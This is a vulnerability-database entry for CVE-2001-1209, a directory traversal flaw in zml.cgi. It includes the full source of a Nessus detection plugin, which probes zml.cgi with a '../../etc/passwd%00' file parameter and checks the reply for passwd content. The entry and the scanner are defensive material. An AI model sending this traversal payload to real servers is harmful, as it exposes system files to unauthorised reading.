Vulnerabilities > CVE-2001-1209 - Unspecified vulnerability in ABE Timmerman Zml.Cgi 0.0

047910
CVSS 0.0 - NONE
Attack vector
UNKNOWN
Attack complexity
UNKNOWN
Privileges required
UNKNOWN
Confidentiality impact
UNKNOWN
Integrity impact
UNKNOWN
Availability impact
UNKNOWN
abe-timmerman
nessus
exploit available

Summary

Directory traversal vulnerability in zml.cgi allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter.

Vulnerable Configurations

Part Description Count
Application
Abe_Timmerman
1

Exploit-Db

descriptionAbe Timmerman zml.cgi File Disclosure Vulnerability. CVE-2001-1209. Remote exploit for cgi platform
idEDB-ID:21194
last seen2016-02-02
modified2001-12-31
published2001-12-31
reporterblackshell
sourcehttps://www.exploit-db.com/download/21194/
titleAbe Timmerman zml.cgi File Disclosure Vulnerability

Nessus

NASL familyCGI abuses
NASL idZML_CGI_TRAVERSAL.NASL
descriptionZML.cgi is vulnerable to a directory traversal attack. It enables a remote attacker to view any file on the computer with the privileges of the cgi/httpd user.
last seen2020-06-01
modified2020-06-02
plugin id10830
published2002-01-17
reporterThis script is Copyright (C) 2002-2018 H D Moore & Drew Hintz ( http://guh.nu )
sourcehttps://www.tenable.com/plugins/nessus/10830
titlezml.cgi Directory Traversal
code
#
# This script was written by Drew Hintz ( http://guh.nu )
#
# It is based on scripts written by Renaud Deraison and  HD Moore
#
# See the Nessus Scripts License for details
#

include("compat.inc");

if (description)
{
 script_id(10830);
 script_version("1.29");
 script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");

 script_cve_id("CVE-2001-1209");
 script_bugtraq_id(3759);

 script_name(english:"zml.cgi Directory Traversal");
 script_summary(english:"zml.cgi is vulnerable to an exploit which lets an attacker view any file that the cgi/httpd user has access to.");

 script_set_attribute(attribute:"synopsis", value:
"The remote host contains a CGI script that is prone to directory
traversal attacks.");
 script_set_attribute(attribute:"description", value:
"ZML.cgi is vulnerable to a directory traversal attack.  It enables a
remote attacker to view any file on the computer with the privileges of
the cgi/httpd user.");
 #https://web.archive.org/web/20031223125426/http://archives.neohapsis.com/archives/vulnwatch/2001-q4/0086.html
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?a85ffb3a");
 script_set_attribute(attribute:"solution", value:"Remove this CGI from the web server.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");

 script_set_attribute(attribute:"vuln_publication_date", value:"2001/12/31");
 script_set_attribute(attribute:"plugin_publication_date", value:"2002/01/17");

 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

 script_category(ACT_GATHER_INFO);
 script_copyright(english:"This script is Copyright (C) 2002-2020 H D Moore & Drew Hintz ( http://guh.nu )");
 script_family(english:"CGI abuses");
 script_dependencie("http_version.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 exit(0);
}

include("global_settings.inc");
include("http_func.inc");
include("http_keepalive.inc");

global_var port;

port = get_http_port(default:80, embedded:TRUE);

if(!get_port_state(port))exit(0);


function check(req)
{
  local_var r;

  req = http_get(item:req, port:port);
  r = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
  if ( r == NULL ) exit(0);

  if("root:" >< r && egrep(pattern:".*root:.*:0:[01]:.*", string:r))
  {
   	security_warning(port:port);
	return(1);
  }
 return(0);
}

dirs = cgi_dirs();
foreach dir (dirs)
{
 url = string(dir, "/zml.cgi?file=../../../../../../../../../../../../etc/passwd%00");
 if(check(req:url))exit(0);
}